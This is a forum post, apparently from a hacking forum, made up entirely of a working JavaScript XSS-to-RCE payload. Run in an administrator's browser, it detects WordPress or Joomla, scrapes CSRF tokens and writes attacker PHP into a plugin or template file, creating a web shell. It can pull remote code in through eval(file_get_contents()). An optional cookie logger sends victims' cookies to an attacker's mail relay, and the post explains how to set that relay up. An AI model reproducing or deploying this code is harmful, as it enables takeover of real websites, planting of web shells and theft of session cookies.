XSS to RCE - Printable Version

Code:
/*
Created by B!t / www.sinister.ly

Idea : https://github.com/Prochainezo/xss2shell

*/
var configuration_UrlGuessing=true;
var configuration_DirectoryGuessing=true;

/*	
LoadPayloadFromFile will upload a specific file from a external recources into the Target
If not used just let it empty and use Payload instead.
The payload should not contains any <?php or ?> because the external code got evaled.
*/
var configuration_LoadPayloadFromFile="";
var configuration_Payload="<?php echo 123456;?>";

/*	
The CookieLoggin working only if you have setup the LogServer in the right way.

Steps to do that :
1. create a new file on your webserver in the www directory called : CookieLogger.php
2. put this information into it : <?php echo mail($_POST["p1"],$_POST["p2"],$_POST["p3"]);?>
3. put the full Path to this file into the variable configuration_CookieLoggerServer
	Example : var configuration_CookieLoggerServer="http://example.com/dir/CookieLogger.php";
4. switch the configuration_CookieLogger to true
5. set your Email into this field : configuration_CookieLoggerReceiver
	Example : var configuration_CookieLoggerReceiver="123456@trashmail.de";
*/
var configuration_CookieLogger=false;
var configuration_CookieLoggerServer="";
var configuration_CookieLoggerReceiver="";

if(configuration_CookieLogger){
	send_email(configuration_CookieLoggerReceiver,"Logger at " + document.domain+ " Date : " + new Date(),"Location : " + document.location.href + "\nCookie : " + document.cookie);
}
if(configuration_LoadPayloadFromFile!=""){
	configuration_Payload=encodeURI("<?php eval(file_get_contents(\"" + configuration_LoadPayloadFromFile + "\"));?>");
	detectcms();
}else if(configuration_Payload!=""){
	configuration_Payload=encodeURI(configuration_Payload);
	detectcms();
}

function send_email(toEmail,title,text){
	httpPost(configuration_CookieLoggerServer,"p1=" + encodeURI(toEmail) + "&p2=" + encodeURI(title) + "&p3="+encodeURI(text),function(page,url){
		if(page.indexOf("1")!=-1){
			console.log("email sended");
		}
	});
}
function attackWorpress(pathtowpinstallation){
	httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page,url){
		var regExp = /_wpnonce" value="(.*?)"/; 
		var matches = regExp.exec(page);
		if(matches!=null){
			var csrftoken = matches[1];
			httpPost(pathtowpinstallation + "/wp-admin/plugin-editor.php", "_wpnonce=" + csrftoken + "&_wp_http_referer=" + pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=" + configuration_Payload + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File",function(done,url){
				httpGet(pathtowpinstallation + "/wp-content/plugins/hello.php",function(content,url){
					console.log("shell at : " + pathtowpinstallation + "/wp-content/plugins/hello.php")
				});
			});
		}
	});
}
function attackJoomla(pathtojoinstallation){
	httpPost(pathtojoinstallation + "/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA%3D","type=php&name=pay&address=",function(page,url){
		var regExp = /type="hidden" name="(.*?)" value="1"/; 
		var matches = regExp.exec(page);
		if(matches!=null){
			var csrftoken = matches[1];
			httpPost(pathtojoinstallation + "/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA%3D", "jform%5Bsource%5D=" + configuration_Payload + "&task=template.save&" + csrftoken + "=1&jform%5Bextension_id%5D=507&jform%5Bfilename%5D=%2Fpay.php",function(done,url){
				httpGet(pathtojoinstallation + "/administrator/templates/isis/pay.php",function(content,url){
					console.log("shell at : " + pathtojoinstallation + "/administrator/templates/isis/pay.php")
				});
			});
		}

	});
}
function detectcms(){
	var optionalTryHarder=true;
	if(configuration_UrlGuessing){
		optionalTryHarder=false;
		var url=location.pathname;
		if(url.indexOf("/wp-content/")!=-1){				//WP STUFF
			attackWorpress(url.substring(0,url.indexOf("/wp-content/")));
		}else if(url.indexOf("/wp-includes/")!=-1){	//WP STUFF
			attackWorpress(url.substring(0,url.indexOf("/wp-includes/")));
		}else if(url.indexOf("/wp-admin/")!=-1){		//WP STUFF
			attackWorpress(url.substring(0,url.indexOf("/wp-admin/")));
		}else if(url.indexOf("/plugins/")!=-1){			//JO STUFF
			attackJoomla(url.substring(0,url.lastIndexOf("/plugins/")));
		}else if(url.indexOf("/templates/")!=-1){		//JO STUFF
			attackJoomla(url.substring(0,url.lastIndexOf("/templates/")));
		}else if(url.indexOf("/modules/")!=-1){			//JO STUFF
			attackJoomla(url.substring(0,url.lastIndexOf("/modules/")));
		}else if(url.indexOf("/components/")!=-1){		//JO STUFF
			attackJoomla(url.substring(0,url.lastIndexOf("/components/")));
		}else{
			optionalTryHarder=true;
		}
	}
	if(configuration_DirectoryGuessing && optionalTryHarder){
		var pathswp=["/","/wp/","/wordpress/","/blog/"];
		for(var i=0;i<pathswp.length;i++){
			httpGet("http://"+document.domain+pathswp[i]+"license.txt",function(data,url){
				if(data.toLowerCase().indexOf("wordpress")!=-1){
					attackWorpress(url.substring(0,url.lastIndexOf("/")));
				}
			});
		}
		var pathsjo=["/","/jo/","/joomla/","/blog/"];
		for(var i=0;i<pathsjo.length;i++){
			httpGet("http://"+document.domain+pathsjo[i]+"README.txt",function(data,url){
				if(data.toLowerCase().indexOf("joomla")!=-1){
					attackJoomla(url.substring(0,url.lastIndexOf("/")));
				}
			});
		}
	}
}

function httpPost(theUrl, post,func){
    var xmlHttp = null;
    xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST",theUrl,false);
    xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlHttp.onreadystatechange = function() {
    	if (this.readyState == 4) {
    		if(this.status == 200){
				func(this.responseText,theUrl);
			}
		}
    }
    xmlHttp.send(post);
}
function httpGet(theUrl,func){
	var xmlHttp = new XMLHttpRequest();
	xmlHttp.onreadystatechange = function() {
		if(this.readyState == 4){
			if(this.status == 200){
				func(this.responseText,theUrl);
			}
		}
	}
	xmlHttp.open("GET",theUrl,true);
	xmlHttp.send(null);
}